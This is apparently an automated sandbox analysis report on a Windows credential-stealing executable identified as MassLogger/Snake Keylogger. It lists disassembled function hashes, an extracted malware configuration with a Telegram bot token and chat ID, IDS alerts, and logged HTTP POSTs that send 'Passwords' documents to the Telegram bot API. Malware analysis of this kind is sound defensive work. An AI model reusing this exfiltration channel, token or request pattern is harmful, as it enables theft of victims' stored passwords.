Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}
Source: rXKfKM0T49.exe.1072.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AD1EC CryptUnprotectData,		3_2_378AD1EC
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AD9D9 CryptUnprotectData,		3_2_378AD9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49977 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49979 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49977 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49979 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50004 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50046 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50004 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50002 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50002 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50046 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50042 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50032 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50042 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50032 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50040 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50040 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50020 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50020 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50048 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49985 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49985 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49981 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49981 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50036 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50036 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50044 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50044 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50048 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50038 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50038 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50034 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50034 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49987 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49987 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50028 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50028 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3199e441f6dbHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31b0368823d7Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31c24cf1dd08Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31d456c3dc56Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e7b6fffa58Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31f9a7e3cc8bHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd320b8d01f7eaHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3220243286cdHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32334eab1922Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3247c90beef3Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd325ad854f9caHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3275fbf52428Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3288eb61d7c5Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd329a73bbadd4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32aea0643760Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32cc1b350f07Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32e17780006aHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32f2c5d2fb99Host: api.telegram.orgContent-Length: 1090
